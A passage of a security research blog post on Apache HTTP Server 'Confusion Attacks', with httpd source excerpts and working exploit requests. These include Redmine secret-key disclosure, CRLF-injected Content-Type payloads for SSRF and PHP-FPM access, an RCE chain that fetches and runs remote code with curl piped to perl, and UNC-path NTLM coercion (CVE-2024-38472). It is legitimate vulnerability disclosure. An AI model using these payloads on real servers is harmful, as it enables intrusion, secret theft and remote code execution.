Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/mediawiki/config/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/lib/mediawiki/config/</code></li> <li><strong>SimpleSAMLphp Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/simplesamlphp/config/</code> -&gt; <code class="language-plaintext highlighter-rouge">/etc/simplesamlphp/</code></li> </ul> <h5 id="️-2-3-2-jailbreak-local-gadgets-to-redmine-rce">✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE</h5> <p>To wrap up our jailbreak primitive, let’s showcase how to perform an RCE using a double-hop Symbolic Link in Redmine. In the default installation of Redmine, there’s an <code class="language-plaintext highlighter-rouge">instances/</code> folder pointing to <code class="language-plaintext highlighter-rouge">/var/lib/redmine/</code>, and within <code class="language-plaintext highlighter-rouge">/var/lib/redmine/</code>, the <code class="language-plaintext highlighter-rouge">default/config/</code> folder points to the <code class="language-plaintext highlighter-rouge">/etc/redmine/default/</code> directory, which holds Redmine’s database setting and secret key.</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file /usr/share/redmine/instances/ symbolic <span class="nb">link </span>to /var/lib/redmine/ <span class="nv">$ </span>file /var/lib/redmine/config/ symbolic <span class="nb">link </span>to /etc/redmine/default/ <span class="nv">$ </span><span class="nb">ls</span> /etc/redmine/default/ database.yml secret_key.txt </code></pre></div></div> <p>Thus, through an insecure <code class="language-plaintext highlighter-rouge">RewriteRule</code> and two Symbolic Links, we can easily access the application secret key used by Redmine:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f HTTP/1.1 200 OK Server: Apache/2.4.59 <span class="o">(</span>Ubuntu<span class="o">)</span> ... 6d222c3c3a1881c865428edb79a74405 </code></pre></div></div> <p>And since Redmine is a Ruby on Rails application, the content of <code class="language-plaintext highlighter-rouge">secret_key.txt</code> is actually the key used for signing and encrypting. The next step should be familiar to those who have attacked RoR before: by embedding malicious Marshal objects, signed and encrypted with the known keys, into cookies, and then achieving remote code execution through Server-Side Deserialization!</p> <p><img src="/assets/img/blog/20240809/7.png" alt="" /></p> <p><br /></p> <h3 id="-3-handler-confusion">🔥 3. Handler Confusion</h3> <p>The final attack I’m going to introduce is the confusion based on Handler. This attack also leverages a piece of technical debt that has been left over from the legacy architecture of Apache HTTP Server. Let’s quickly understand this technical debt through an example — if today you want to run the classic <code class="language-plaintext highlighter-rouge">mod_php</code> on Apache HTTP Server, which of the following two directives do you use?</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> application/x-httpd-php .php <span class="nc">AddType</span> application/x-httpd-php .php </code></pre></div></div> <p>The answer is — both can correctly get PHP running! Here are the two directive syntaxes, and you can see that not only are the usages similar, but even the effects are exactly the same. Why did Apache HTTP Server initially design two different directives doing the same thing?</p> <div class="language-config highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AddHandler</span> <span class="n">handler</span>-<span class="n">name</span> <span class="n">extension</span> [<span class="n">extension</span>] ... <span class="n">AddType</span> <span class="n">media</span>-<span class="n">type</span> <span class="n">extension</span> [<span class="n">extension</span>] ... </code></pre></div></div> <p>Actually, <code class="language-plaintext highlighter-rouge">handler-name</code> and <code class="language-plaintext highlighter-rouge">media-type</code> represent different fields within Httpd’s internal structure, corresponding to <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> and <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code>, respectively. The fact that <strong>users can use them interchangeably without realizing it is thanks to a piece of code that has been in Apache HTTP Server since <a href="https://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/src/main/http_config.c">its early development in 1996</a></strong>:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/server/config.c#L420">server/config.c#L420</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AP_CORE_DECLARE</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">ap_invoke_handler</span><span class="p">(</span><span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">)</span> <span class="p">{</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">;</span> <span class="k">if</span> <span class="p">((</span><span class="n">p</span><span class="o">=</span><span class="n">ap_strchr_c</span><span class="p">(</span><span class="n">handler</span><span class="p">,</span> <span class="sc">';'</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="o">*</span><span class="n">new_handler</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">apr_pmemdup</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">,</span> <span class="n">handler</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="n">handler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p2</span> <span class="o">=</span> <span class="n">new_handler</span> <span class="o">+</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="n">handler</span><span class="p">);</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">new_handler</span><span class="p">;</span> <span class="cm">/* exclude media type arguments */</span> <span class="k">while</span> <span class="p">(</span><span class="n">p2</span> <span class="o">&gt;</span> <span class="n">handler</span> <span class="o">&amp;&amp;</span> <span class="n">p2</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="o">--</span><span class="n">p2</span><span class="p">;</span> <span class="cm">/* strip trailing spaces */</span> <span class="o">*</span><span class="n">p2</span><span class="o">=</span><span class="sc">'\0'</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">AP_DEFAULT_HANDLER_NAME</span><span class="p">;</span> <span class="p">}</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span> <span class="o">=</span> <span class="n">handler</span><span class="p">;</span> <span class="p">}</span> <span class="n">result</span> <span class="o">=</span> <span class="n">ap_run_handler</span><span class="p">(</span><span class="n">r</span><span class="p">);</span> </code></pre></div></div> <p>You can see that before entering the <code class="language-plaintext highlighter-rouge">ap_run_handler()</code>, if <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> is empty, the content of the <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> is used as the final module handler. This is also why <code class="language-plaintext highlighter-rouge">AddType</code> and <code class="language-plaintext highlighter-rouge">AddHandler</code> have the identical effect, because the <code class="language-plaintext highlighter-rouge">media-type</code> is eventually converted into the <code class="language-plaintext highlighter-rouge">handler-name</code> before handling. So, our third Handler Confusion is mainly developed around this behavior.</p> <p><br /></p> <h4 id="️-primitive-3-1-overwrite-the-handler">⚔️ Primitive 3-1. Overwrite the Handler</h4> <p>By understanding this conversion mechanism, the first primitive is — <strong>Overwrite the Handler</strong>. Imagine if today the target Apache HTTP Server uses <code class="language-plaintext highlighter-rouge">AddType</code> to run PHP.</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddType</span> application/x-httpd-php .php </code></pre></div></div> <p>In the normal process, when accessing <code class="language-plaintext highlighter-rouge">http://server/config.php</code>, <code class="language-plaintext highlighter-rouge">mod_mime</code>, during the <code class="language-plaintext highlighter-rouge">type_checker</code> phase, Httpd copies the corresponding content into <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> based on the file extension set by <code class="language-plaintext highlighter-rouge">AddType</code>. Since <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> is not assigned during the entire HTTP lifecycle, <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code> will treat <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> as the handler, ultimately calling <code class="language-plaintext highlighter-rouge">mod_php</code> to handle the request.</p> <p>However, what happens if any module “accidentally” overwrites <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> before reaching <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code>?</p> <h5 id="️-3-1-1-overwrite-handler-to-disclose-php-source-code">✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code</h5> <p>The first exploitation of this primitive is to disclose arbitrary PHP source code by the “accidentally-overwrite”. This technique was first mentioned by Max Dmitriev in his research presented at ZeroNights 2021 (kudos to him!), and you can check his slides here:</p> <blockquote> <p><a href="https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf">Apache 0day bug, which still nobody knows of, and which was fixed accidentally</a></p> </blockquote> <p>Max Dmitriev observed that by sending an incorrect <code class="language-plaintext highlighter-rouge">Content-Length</code>, the remote Httpd server would trigger an unexpected error and inadvertently return the source code of PHP script. Upon investigating the process, he discovered that the issue was due to ModSecurity not properly handling the return value of <code class="language-plaintext highlighter-rouge">AP_FILTER_ERROR</code> while using the Apache Portable Runtime (APR) library, leading to a <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">double response</a>. When an error occurred, Httpd attempts to send out HTML error messages, thus accidentally overwriting <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> to <code class="language-plaintext highlighter-rouge">text/html</code>.</p> <p><img src="/assets/img/blog/20240809/8.png" alt="" /></p> <p>Because ModSecurity did not properly handle the return values, the internal HTTP lifecycle that should have stopped continued. This “side effect” also overwrote the originally added <code class="language-plaintext highlighter-rouge">Content-Type</code>, resulting in files that should have been processed as PHP being treated as plain documents, exposing its source code and sensitive settings. 🤫</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-v</span> http://127.0.0.1/info.php <span class="nt">-H</span> <span class="s2">"Content-Length: x"</span> <span class="o">&gt;</span> HTTP/1.1 400 Bad Request <span class="o">&gt;</span> Date: Mon, 29 Jul 2024 05:32:23 GMT <span class="o">&gt;</span> Server: Apache/2.4.41 <span class="o">(</span>Ubuntu<span class="o">)</span> <span class="o">&gt;</span> Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>iso-8859-1 &lt;<span class="o">!</span>DOCTYPE HTML PUBLIC <span class="s2">"-//IETF//DTD HTML 2.0//EN"</span><span class="o">&gt;</span> &lt;html&gt;&lt;<span class="nb">head</span><span class="o">&gt;</span> &lt;title&gt;400 Bad Request&lt;/title&gt; ... &lt;?php phpinfo<span class="o">()</span><span class="p">;</span>?&gt; </code></pre></div></div> <p>In theory, all configurations based on <code class="language-plaintext highlighter-rouge">Content-Type</code> are vulnerable to this type of attack, so apart from the <code class="language-plaintext highlighter-rouge">php-cgi</code> paired with <code class="language-plaintext highlighter-rouge">mod_actions</code> shown in Max’s slides, pure <code class="language-plaintext highlighter-rouge">mod_php</code> coupled with <code class="language-plaintext highlighter-rouge">AddType</code> is also affected.</p> <p>It’s worth mentioning that this side effect was corrected as a <a href="https://github.com/apache/httpd/commit/3303dc4f7273e05ea9a80402b33f68cd155c146a">request parser bug</a> in Apache HTTP Server version 2.4.44, thus treating this “vulnerability” as fixed until I picked it up again. However, since the root cause is still ModSecurity not handling errors properly, the same behavior can still be successfully reproduced if another code path that triggers <code class="language-plaintext highlighter-rouge">AP_FILTER_ERROR</code> is found.</p> <p><em>P.S. This issue was reported to ModSecurity through the official security mail on 6/20, and the Project Co-Leader suggested returning to the original <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">GitHub Issue</a> for discussion.</em></p> <h5 id="️-3-1-2-overwrite-handler-to---">✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████</h5> <p>Based on the <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">double response</a> behavior and its side effects mentioned earlier, this primitive could lead to other more cool exploitations. However, as this issue has not been fully fixed, further exploitation will be disclosed after the issue is fully resolved.</p> <p><br /></p> <h4 id="️-primitive-3-2-invoke-arbitrary-handlers">⚔️ Primitive 3-2. Invoke Arbitrary Handlers</h4> <p>Let’s think more carefully about the previous Overwrite Handler primitive, although it’s caused by ModSecurity not properly handling errors, leading to the request being set with the wrong <code class="language-plaintext highlighter-rouge">Content-Type</code>, the deeper fundamental root cause should be — <strong>when using <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code>, Apache HTTP Server actually cannot distinguish its semantics; this field can be set by directive during the request phase or used as the <code class="language-plaintext highlighter-rouge">Content-Type</code> header in the server response</strong>.</p> <p>Theoretically, if you can control the <code class="language-plaintext highlighter-rouge">Content-Type</code> header in the server response, you could invoke arbitrary module handlers through this legacy code snippet. This is the last primitive of Handler Confusion — <strong>invoking any internal module handler</strong>!</p> <p>However, there’s still one last piece of the puzzle. In Httpd, all modifications to <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> from the server response occur after that legacy code. So, even if you can control the value of that field, at that point in the HTTP lifecycle, it’s too late to do further exploitation… is that right?</p> <p>We turned to <a href="https://datatracker.ietf.org/doc/html/rfc3875">RFC 3875</a> for a rescue! RFC 3875 is a specification about CGI, and <a href="https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2">Section 6.2.2</a> defines a Local Redirect Response behavior:</p> <blockquote> <p>The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.</p> </blockquote> <p>Simply put, the specification mandates that under certain conditions, CGI must use Server-Side resources to handle redirects. A close examination of <code class="language-plaintext highlighter-rouge">mod_cgi</code> implementation of this specification reveals:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/generators/mod_cgi.c#L983">modules/generators/mod_cgi.c#L983</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">((</span><span class="n">ret</span> <span class="o">=</span> <span class="n">ap_scan_script_header_err_brigade_ex</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">bb</span><span class="p">,</span> <span class="n">sbuf</span><span class="p">,</span> <span class="c1">// &lt;------ [1]</span> <span class="n">APLOG_MODULE_INDEX</span><span class="p">)))</span> <span class="p">{</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">log_script</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">conf</span><span class="p">,</span> <span class="n">ret</span><span class="p">,</span> <span class="n">dbuf</span><span class="p">,</span> <span class="n">sbuf</span><span class="p">,</span> <span class="n">bb</span><span class="p">,</span> <span class="n">script_err</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="n">HTTP_NOT_MODIFIED</span><span class="p">)</span> <span class="p">{</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">=</span> <span class="n">ret</span><span class="p">;</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> <span class="p">}</span> <span class="n">location</span> <span class="o">=</span> <span class="n">apr_table_get</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">headers_out</span><span class="p">,</span> <span class="s">"Location"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">location</span> <span class="o">&amp;&amp;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">location</span> <span class="o">&amp;&amp;</span> <span class="n">location</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'/'</span> <span class="o">&amp;&amp;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// &lt;------ [2]</span> <span class="cm">/* This redirect needs to be a GET no matter what the original * method was. */</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">method</span> <span class="o">=</span> <span class="s">"GET"</span><span class="p">;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">method_number</span> <span class="o">=</span> <span class="n">M_GET</span><span class="p">;</span> <span class="cm">/* We already read the message body (if any), so don't allow * the redirected request to think it has one. We can ignore * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR. */</span> <span class="n">apr_table_unset</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">headers_in</span><span class="p">,</span> <span class="s">"Content-Length"</span><span class="p">);</span> <span class="n">ap_internal_redirect_handler</span><span class="p">(</span><span class="n">location</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [3]</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Initially, <code class="language-plaintext highlighter-rouge">mod_cgi</code> executes<sup>[1]</sup> CGI and scans its output to set the corresponding headers such as <code class="language-plaintext highlighter-rouge">Status</code> and <code class="language-plaintext highlighter-rouge">Content-Type</code>. If<sup>[2]</sup> the returned <code class="language-plaintext highlighter-rouge">Status</code> is 200 and the <code class="language-plaintext highlighter-rouge">Location</code> header starts with a <code class="language-plaintext highlighter-rouge">/</code>, the response is treated as a Server-Side Redirection and should be processed<sup>[3]</sup> internally. A closer look at the implementation of <code class="language-plaintext highlighter-rouge">ap_internal_redirect_handler()</code> shows:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/http/http_request.c#L800">modules/http/http_request.c#L800</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AP_DECLARE</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">ap_internal_redirect_handler</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">new_uri</span><span class="p">,</span> <span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">access_status</span><span class="p">;</span> <span class="n">request_rec</span> <span class="o">*</span><span class="n">new</span> <span class="o">=</span> <span class="n">internal_internal_redirect</span><span class="p">(</span><span class="n">new_uri</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [1]</span> <span class="cm">/* ap_die was already called, if an error occured */</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">new</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span><span class="p">)</span> <span class="n">ap_set_content_type</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">);</span> <span class="c1">// &lt;------ [2]</span> <span class="n">access_status</span> <span class="o">=</span> <span class="n">ap_process_request_internal</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// &lt;------ [3]</span> <span class="k">if</span> <span class="p">(</span><span class="n">access_status</span> <span class="o">==</span> <span class="n">OK</span><span class="p">)</span> <span class="p">{</span> <span class="n">access_status</span> <span class="o">=</span> <span class="n">ap_invoke_handler</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// &lt;------ [4]</span> <span class="p">}</span> <span class="n">ap_die</span><span class="p">(</span><span class="n">access_status</span><span class="p">,</span> <span class="n">new</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>Httpd first creates<sup>[1]</sup> a new request structure and copie<sup>[2]</sup> the current <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> into it. After processing<sub>[3]</sub> the lifecycle, it calls<sup>[4]</sup> <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code> — the place including the legacy transformation. So, <strong>in Server-Side Redirects, if you can control the response headers, you can invoke any module handler within Httpd</strong>. Basically, all CGI implementations in Apache HTTP Server follow this behavior, and here’s a simple list:</p> <ul> <li>mod_cgi</li> <li>mod_cgid</li> <li>mod_wsgi</li> <li>mod_uwsgi</li> <li>mod_fastcgi</li> <li>mod_perl</li> <li>mod_asis</li> <li>mod_fcgid</li> <li>mod_proxy_scgi</li> <li>…</li> </ul> <p>As for how to trigger this server-side redirect in real-world scenarios? Since you need at least control over the response’s <code class="language-plaintext highlighter-rouge">Content-Type</code> and part of the <code class="language-plaintext highlighter-rouge">Location</code>, here are two scenarios for reference:</p> <ol> <li>CRLF Injection in the CGI response headers, allowing overwriting of existing HTTP headers by new lines.</li> <li>SSRF that can completely control the response headers, such as a project hosted on <code class="language-plaintext highlighter-rouge">mod_wsgi</code> like <a href="https://django-revproxy.readthedocs.io/en/latest/">django-revproxy</a>.</li> </ol> <p>The following examples are all based on this insecure CRLF Injection for the purpose of demonstration:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/perl </span> <span class="k">use</span> <span class="nv">CGI</span><span class="p">;</span> <span class="k">my</span> <span class="nv">$q</span> <span class="o">=</span> <span class="nv">CGI</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">;</span> <span class="k">my</span> <span class="nv">$redir</span> <span class="o">=</span> <span class="nv">$q</span><span class="o">-&gt;</span><span class="nv">param</span><span class="p">("</span><span class="s2">r</span><span class="p">");</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$redir</span> <span class="o">=~</span> <span class="sr">m{^https?://}</span><span class="p">)</span> <span class="p">{</span> <span class="k">print</span> <span class="p">"</span><span class="s2">Location: </span><span class="si">$redir</span><span class="se">\n</span><span class="p">";</span> <span class="p">}</span> <span class="k">print</span> <span class="p">"</span><span class="s2">Content-Type: text/html</span><span class="se">\n\n</span><span class="p">";</span> </code></pre></div></div> <h5 id="️-3-2-1-arbitrary-handler-to-information-disclosure">✔️ 3-2-1. Arbitrary Handler to Information Disclosure</h5> <p>Starting with invoking an arbitrary handler to disclose information, we use the built-in <code class="language-plaintext highlighter-rouge">server-status</code> handler in Apache HTTP Server, which is typically only allowed to be accessed locally:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Location</span><span class="sr"> /server-status</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> server-status <span class="nc">Require</span> local <span class="p">&lt;/</span><span class="nl">Location</span><span class="p">&gt; </span></code></pre></div></div> <p>With the ability to invoke any handler, it becomes possible to overwrite the <code class="language-plaintext highlighter-rouge">Content-Type</code> to access sensitive information that should not be accessible remotely:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:server-status</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p><img src="/assets/img/blog/20240809/9.png" alt="" /></p> <h5 id="️-3-2-2-arbitrary-handler-to-misinterpret-scripts">✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts</h5> <p>It’s also easy to transform an image with a legitimate extension into a PHP backdoor. For instance, this primitive allows specifying <code class="language-plaintext highlighter-rouge">mod_php</code> to execute embedded malicious code within the image, like:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/uploads/avatar.webp</em></strong> %0d%0a <br /> <strong><em>Content-Type:application/x-httpd-php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <h5 id="️-3-2-2-arbitrary-handler-to-full-ssrf">✔️ 3-2-2. Arbitrary Handler to Full SSRF</h5> <p>Calling the <code class="language-plaintext highlighter-rouge">mod_proxy</code> to access any protocol on any URL is, of course, straightforward:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:http://example.com/%3f</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>Moreover, this is also a full-control SSRF where you can control all request headers and obtain all HTTP responses! A slight disappointment is when accessing Cloud Metadata, <code class="language-plaintext highlighter-rouge">mod_proxy</code> automatically adds an <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> header, which gets blocked by EC2 and GCP’s <a href="https://cloud.google.com/compute/docs/metadata/querying-metadata#limitations">Metadata protection mechanisms</a>, otherwise, this would be an even more powerful primitive.</p> <h5 id="️-3-2-3-arbitrary-handler-to-access-local-unix-domain-socket">✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket</h5> <p>However, <code class="language-plaintext highlighter-rouge">mod_proxy</code> offers a more “convenient” feature — it can access local Unix Domain Sockets! 😉</p> <p>Here’s a demonstration accessing PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in <code class="language-plaintext highlighter-rouge">/tmp/</code>:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>Theoretically, this technique has even more potential, such as protocol smuggling (smuggling FastCGI in HTTP/HTTPS protocols 😏) or exploiting other vulnerable local sockets. These possibilities are left for interested readers to explore.</p> <h5 id="️-3-2-4-arbitrary-handler-to-rce">✔️ 3-2-4. Arbitrary Handler to RCE</h5> <p>Finally, let’s demonstrate how to transform this primitive into an RCE using a common CTF trick! Since the official <a href="https://hub.docker.com/_/php">PHP Docker</a> image includes PEAR, a command-line PHP package management tool, using its <code class="language-plaintext highlighter-rouge">Pearcmd.php</code> as an entry point allows us to achieve further exploitation. You can check this article — <a href="https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html">Docker PHP LFI Summary</a>, written by <a href="https://x.com/phithon_xg">Phith0n</a> for details!</p> <p>Here we utilize a Command Injection within <code class="language-plaintext highlighter-rouge">run-tests</code> to complete the entire exploit chain, detailed as follows:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>It’s common to see CRLF Injection or Header Injection being reported as XSS in Security Advisories or Bug Bounties. While it is true that these can sometimes chain to impactful vulnerabilities like Account Takeover through SSO, please don’t forget that they can also lead to Server-Side RCE, as this demonstration proves its potential!</p> <p><img src="/assets/img/blog/20240809/10.png" alt="" /></p> <p><br /></p> <h3 id="-4-other-vulnerabilities">🔥 4. Other Vulnerabilities</h3> <p>While this essentially covers the Confusion Attacks, some minor vulnerabilities discovered during our research of Apache HTTP Server are worth mentioning separately.</p> <p><br /></p> <h4 id="️-cve-2024-38472---windows-unc-based-ssrf">⚔️ CVE-2024-38472 - Windows UNC-based SSRF</h4> <p>Firstly, the Windows implementation of the <code class="language-plaintext highlighter-rouge">apr_filepath_merge()</code> function allows the use of UNC paths, which allows attackers to coerce NTLM authentication to any host. Here we list two different triggering paths:</p> <h5 id="️-triggered-via-http-request-parser">✔️ Triggered via HTTP Request Parser</h5> <p>Direct triggering through an HTTP request parser in Httpd requires additional configuration, which might seem impractical at first glance but often appears with Tomcat (<code class="language-plaintext highlighter-rouge">mod_jk</code>, <code class="language-plaintext highlighter-rouge">mod_proxy_ajp</code>) or pairing with <a href="https://httpd.apache.org/docs/2.4/en/mod/core.html#allowencodedslashes">PATH_INFO</a>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AllowEncodedSlashes</span> <span class="ss">On</span> </code></pre></div></div> <p>Additionally, since Httpd rewrote its core HTTP request parser logic after 2.4.49, triggering the vulnerability in versions above requires an additional configuration:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AllowEncodedSlashes</span> <span class="ss">On</span> MergeSlashes <span class="ss">Off</span> </code></pre></div></div> <p>By using two <code class="language-plaintext highlighter-rouge">%5C</code> can force Httpd to coerce NTLM authentication to an <code class="language-plaintext highlighter-rouge">attacker-server</code>, and practically, this SSRF can be converted into RCE through <a href="https://en.hackndo.com/ntlm-relay/">NTLM Relay</a>!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/%5C%5Cattacker-server/path/to </code></pre></div></div> <p><img src="/assets/img/blog/20240809/11.png" alt="" /></p> <h5 id="️-triggered-via-type-map">✔️ Triggered via Type-Map</h5> <p>In the <a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/mods-available/mime.conf/#L235">Debian/Ubuntu</a> distribution of Httpd, Type-Map is enabled by default:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> type-map <span class="ss">var</span> </code></pre></div></div> <p>By uploading a <code class="language-plaintext highlighter-rouge">.var</code> file to the server and setting the URI field to a UNC path, you can also force the server to coerce NTLM authentication to the attacker. This is also <a 